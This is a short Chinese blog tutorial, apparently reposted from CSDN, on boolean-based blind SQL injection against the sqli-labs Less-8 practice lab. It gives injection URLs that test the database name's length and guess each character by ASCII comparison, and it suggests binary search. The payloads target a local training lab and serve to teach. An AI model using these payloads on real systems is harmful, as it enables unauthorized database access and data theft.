MySQL之布尔盲注实战(3分钟搞懂盲注思路)

文章目录

布尔盲注

任务:sqli_labs_08,布尔盲注,获取数据库名

1.通过单引号,双引号判断字符类型,再观察是否有回显,发现没有回显,但是页面有其他变化。

2.因此可以使用盲注,通过布尔判断我们的盲猜是否正确。

http://localhost/sqli_labs/Less-8/?id=5' and 1=2 --+

image-20230823165118696

盲猜手法

猜数据库长度

通过length()函数来盲猜数据库长度,再借助回显来判断猜测是否正确

http://localhost/sqli_labs/Less-8/?id=5' and length(database())>8 --+

猜数据库名

猜第一个字母:
http://localhost/sqli_labs/Less-8/?id=5' and ascii(substr((select database()),1,1))=115--+
猜第二个字母:
http://localhost/sqli_labs/Less-8/?id=5' and ascii(substr((select database()),2,1))=101--+
猜第...个字母...

将数据库长度猜出之后,可以借助substr函数对数据库名进行截取,然后利用ascii()函数将截取的数据库名字符串进行编码,然后在126个数字范围内比较(这里建议通过二分查找法来减少比较次数),最后借助回显来判断猜测是否正确,然后将正确的ASCII码转换为对应的字符串即可。

image-20230823170105530

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132461027